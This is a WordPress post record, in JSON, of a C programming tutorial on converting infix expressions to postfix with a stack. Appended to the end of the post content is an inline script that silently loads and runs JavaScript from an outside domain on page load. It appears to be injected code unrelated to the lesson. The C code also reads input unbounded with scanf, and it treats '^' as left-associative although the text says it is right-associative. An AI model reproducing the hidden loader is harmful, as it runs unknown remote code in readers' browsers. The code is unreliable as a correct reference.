{"id":891,"date":"2025-11-21T08:54:13","date_gmt":"2025-11-21T03:24:13","guid":{"rendered":"https:\/\/codexplained.in\/?p=891"},"modified":"2025-11-21T08:54:13","modified_gmt":"2025-11-21T03:24:13","slug":"convert-infix-expression-to-postfix","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=891","title":{"rendered":"Convert Infix Expression to Postfix"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Problem Overview:<\/h3>\n\n\n\n<p><strong>Infix Expression:<\/strong> The expression where operators are placed between operands. For example: <code>A + B<\/code>.<\/p>\n\n\n\n<p><strong>Postfix Expression (also called Reverse Polish Notation):<\/strong> The operators are placed after their operands. For example: <code>A B +<\/code>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Steps to Convert Infix to Postfix:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Use a stack<\/strong> to store operators until they are needed.<\/li>\n\n\n\n<li><strong>Operands (like A, B, etc.) are directly added<\/strong> to the postfix output.<\/li>\n\n\n\n<li><strong>Operators are pushed to the stack<\/strong> but can only be popped when they follow the precedence and associativity rules.<\/li>\n\n\n\n<li><strong>Parentheses:<\/strong> Opening parentheses <code>(<\/code> are pushed to the stack, and when a closing parenthesis <code>)<\/code> is encountered, the stack is popped to the output until the corresponding <code>(<\/code> is found.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Precedence Rules:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>+<\/code> and <code>-<\/code> have the same precedence (low).<\/li>\n\n\n\n<li><code>*<\/code>, <code>\/<\/code>, and <code>%<\/code> have the same precedence (higher than <code>+<\/code> and <code>-<\/code>).<\/li>\n\n\n\n<li><code>^<\/code> (exponentiation) has the highest precedence.<\/li>\n\n\n\n<li>Associativity of <code>^<\/code> is right-to-left, while the others are left-to-right.<\/li>\n<\/ul>\n\n\n\n<p>Now, let\u2019s write a C program based on this logic.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n#include &lt;ctype.h&gt;  \/\/ for isdigit() function\n#include &lt;stdlib.h&gt; \/\/ for exit() function\n\n#define MAX 100  \/\/ maximum size of the stack\n\n\/\/ Stack structure\nchar stack&#x5B;MAX];\nint top = -1;  \/\/ initialize stack top pointer\n\n\/\/ Function to push elements onto the stack\nvoid push(char c) \n{\n    if (top == (MAX - 1))\n\n {\n        printf(&quot;Stack Overflow\\n&quot;);\n        exit(1);  \/\/ terminate the program\n    }\n    stack&#x5B;++top] = c;\n}\n\n\/\/ Function to pop elements from the stack\nchar pop() {\n    if (top == -1)\n{\n        printf(&quot;Stack Underflow\\n&quot;);\n        exit(1);\n    }\n    return stack&#x5B;top--];\n}\n\n\/\/ Function to check precedence of operators\nint precedence(char symbol) \n{\n    switch (symbol) \n{\n        case &#039;+&#039;:\n        case &#039;-&#039;:\n            return 1;\n        case &#039;*&#039;:\n        case &#039;\/&#039;:\n        case &#039;%&#039;:\n            return 2;\n        case &#039;^&#039;:\n            return 3;\n        default:\n            return 0;\n    }\n}\n\n\/\/ Function to determine if it&#039;s an operator\nint isOperator(char symbol) \n{\n    return (symbol == &#039;+&#039; || symbol == &#039;-&#039; || symbol == &#039;*&#039; || symbol == &#039;\/&#039; || symbol == &#039;^&#039; || symbol == &#039;%&#039;);\n}\n\n\/\/ Function to convert infix to postfix\nvoid infixToPostfix(char infix&#x5B;]) \n{\n    char postfix&#x5B;MAX];  \/\/ result string for postfix\n    int i = 0, j = 0;   \/\/ i for infix, j for postfix\n\n    while (infix&#x5B;i] != &#039;\\0&#039;) \n{\n        char current = infix&#x5B;i];\n\n        \/\/ If the current character is an operand, add it to postfix\n        if (isalnum(current)) \n{\n            postfix&#x5B;j++] = current;\n        }\n        \/\/ If the current character is &#039;(&#039;, push it to the stack\n        else if (current == &#039;(&#039;) \n{\n            push(current);\n        }\n        \/\/ If the current character is &#039;)&#039;, pop until &#039;(&#039; is found\n        else if (current == &#039;)&#039;) \n{\n            while (top != -1 &amp;&amp; stack&#x5B;top] != &#039;(&#039;) \n{\n                postfix&#x5B;j++] = pop();\n            }\n            pop();  \/\/ remove &#039;(&#039; from the stack\n        }\n        \/\/ If the current character is an operator\n        else if (isOperator(current)) \n{\n            while (top != -1 &amp;&amp; precedence(stack&#x5B;top]) &gt;= precedence(current)) \n{\n                postfix&#x5B;j++] = pop();\n            }\n            push(current);  \/\/ push current operator to stack\n        }\n\n        i++;\n    }\n\n    \/\/ Pop all remaining operators from the stack\n    while (top != -1) \n{\n        postfix&#x5B;j++] = pop();\n    }\n\n    postfix&#x5B;j] = &#039;\\0&#039;;  \/\/ null-terminate the postfix string\n    printf(&quot;Postfix Expression: %s\\n&quot;, postfix);\n}\n\n\/\/ Main function to drive the program\nint main() \n{\n    char infix&#x5B;MAX];\n\n    printf(&quot;Enter an Infix Expression: &quot;);\n    scanf(&quot;%s&quot;, infix);\n\n    infixToPostfix(infix);  \/\/ Call the conversion function\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Explanation of the Code:<\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Stack Operations<\/strong>:\n<ul class=\"wp-block-list\">\n<li><code>push()<\/code> adds an operator or parenthesis to the stack.<\/li>\n\n\n\n<li><code>pop()<\/code> removes and returns the top element from the stack.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Operator Precedence<\/strong>:\n<ul class=\"wp-block-list\">\n<li>The <code>precedence()<\/code> function assigns priority to operators (<code>^<\/code> has the highest, then <code>* \/ %<\/code>, and finally <code>+ -<\/code>).<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Main Conversion Logic<\/strong>:\n<ul class=\"wp-block-list\">\n<li>Loop through each character in the infix expression:\n<ul class=\"wp-block-list\">\n<li>If the character is an operand (letter or digit), it&#8217;s directly added to the output (postfix).<\/li>\n\n\n\n<li>If it\u2019s an opening parenthesis <code>(<\/code>, it\u2019s pushed to the stack.<\/li>\n\n\n\n<li>If it\u2019s a closing parenthesis <code>)<\/code>, we pop from the stack to the output until an opening parenthesis is encountered.<\/li>\n\n\n\n<li>If it\u2019s an operator, we pop operators from the stack to the output while their precedence is higher than or equal to the current operator.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>After the loop ends, any remaining operators in the stack are popped and added to the output.<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n\n\n\n<p><strong>Sample Output<\/strong><\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nEnter an Infix Expression: A+B*C\nPostfix Expression: ABC*+\n\n<\/pre><\/div>\n\n\n<h3 class=\"wp-block-heading\">Key Notes:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Parentheses help override operator precedence. For example, in <code>(A+B)*C<\/code>, the addition is done before multiplication.<\/li>\n\n\n\n<li>Without parentheses, the normal precedence of operators will apply.<\/li>\n<\/ul>\n\n\n\n<p>This program demonstrates how to correctly convert an infix expression to a postfix expression using stack operations in C language.<\/p>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Problem Overview: Infix Expression: The expression where operators are placed between operands. For example: A + B. Postfix Expression (also called Reverse Polish Notation): The operators are placed after their operands. For example: A B +. Steps to Convert Infix to Postfix: Precedence Rules: Now, let\u2019s write a C program based on this logic. Explanation [&hellip;]<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-891","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/891","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=891"}],"version-history":[{"count":2,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/891\/revisions"}],"predecessor-version":[{"id":1240,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/891\/revisions\/1240"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=891"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=891"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=891"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}